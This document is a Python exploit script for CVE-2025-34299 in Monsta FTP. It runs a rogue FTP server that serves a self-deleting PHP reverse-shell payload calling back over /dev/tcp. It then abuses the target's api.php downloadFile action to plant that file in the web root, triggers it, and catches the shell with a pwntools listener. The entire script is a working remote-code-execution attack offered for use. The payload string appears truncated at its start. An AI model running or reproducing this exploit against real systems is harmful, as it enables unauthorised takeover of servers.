#!/usr/bin/env python3 """ Monsta FTP CVE-2025-34299 Exploit by chocapikk """ import argparse import json import os import random import requests import socket import string import sys import tempfile import threading import time import urllib3 from pwn import remote from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class ExploitFTPHandler(FTPHandler): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.banner = "FTP Server Ready - chocapikk edition" class Listener: def __init__(self, bind_host, bind_port): self.bind_host = bind_host self.bind_port = bind_port def start_listener(self): try: with socket.create_server((self.bind_host, self.bind_port)) as listener: print(f"[*] Listening on {self.bind_host}:{self.bind_port}...") listener.settimeout(1) while True: try: client, addr = listener.accept() print(f"[+] Received connection from {addr[0]}:{addr[1]}") client.settimeout(0.1) self.handle_client(client) break except socket.timeout: continue except Exception as e: print(f"[-] Failed to start listener: {e}") def handle_client(self, client): """Handle reverse shell connection with pwntools""" try: # Create pwn tube from socket tube = remote.fromsocket(client) tube.interactive() except (KeyboardInterrupt, EOFError): print("\n[*] Connection closed") except Exception as e: print(f"[-] Error: {e}") finally: client.close() def start_ftp_server(host, port, lhost, lport): """Start malicious FTP server with random filename, credentials and reverse shell payload""" ftp_dir = tempfile.mkdtemp() random_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=12)) + '.php' payload_file = os.path.join(ftp_dir, random_filename) # Generate reverse shell payload with self-delete - chocapikk style payload = f"& /dev/tcp/{lhost}/{lport} 0>&1 &'\"); unlink($f); ?>" with open(payload_file, 'wb') as f: f.write(payload.encode()) # Generate random credentials user = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) pwd = ''.join(random.choices(string.ascii_letters + string.digits, k=12)) authorizer = DummyAuthorizer() authorizer.add_user(user, pwd, ftp_dir, perm="elradfmw") ExploitFTPHandler.authorizer = authorizer server = FTPServer((host, port), ExploitFTPHandler) server.max_connections = 256 return server, ftp_dir, f"/{random_filename}", user, pwd def exploit(target, host="172.17.0.1", port=2121, lhost="172.17.0.1", lport=4444): """Exploit Monsta FTP CVE-2025-34299 - by chocapikk""" # Start reverse shell listener listener = Listener(lhost, lport) listener_thread = threading.Thread(target=listener.start_listener, daemon=False) listener_thread.start() time.sleep(1) server, ftp_dir, remote, user, pwd = start_ftp_server(host, port, lhost, lport) # Start FTP server in background threading.Thread(target=server.serve_forever, daemon=True).start() time.sleep(1) # Generate random local filename local = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) + '.php' # Prepare request api_url = f"{target.rstrip('/')}/application/api/api.php" request_data = { "connectionType": "ftp", "configuration": { "host": host, "username": user, "initialDirectory": "/", "password": pwd, "port": port }, "actionName": "downloadFile", "context": { "remotePath": remote, "localPath": local } } try: response = requests.post( api_url, data={"request": json.dumps(request_data)}, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=30, verify=False ) try: response_data = response.json() except (json.JSONDecodeError, ValueError): print(f"[-] Invalid JSON response: {response.text[:200]}") return False if response.status_code == requests.codes.ok and response_data.get("success"): payload_url = f"{target.rstrip('/')}/application/api/{local}" print(f"[+] Payload uploaded: {payload_url}") print(f"[*] Triggering reverse shell (payload will self-delete)...") try: requests.get(payload_url, timeout=5, verify=False) except: pass listener_thread.join() return True print(f"[-] Failed: {response.text}") return False except Exception as e: print(f"[-] Error: {e}") return False def main(): parser = argparse.ArgumentParser(description="Monsta FTP CVE-2025-34299 Exploit") parser.add_argument("target", help="Target URL") parser.add_argument("--host", default="172.17.0.1", help="FTP server host") parser.add_argument("--port", type=int, default=2121, help="FTP server port") parser.add_argument("--lhost", default="172.17.0.1", help="Listener host") parser.add_argument("--lport", type=int, default=4444, help="Listener port") args = parser.parse_args() success = exploit( args.target, host=args.host, port=args.port, lhost=args.lhost, lport=args.lport ) sys.exit(0 if success else 1) if __name__ == "__main__": main()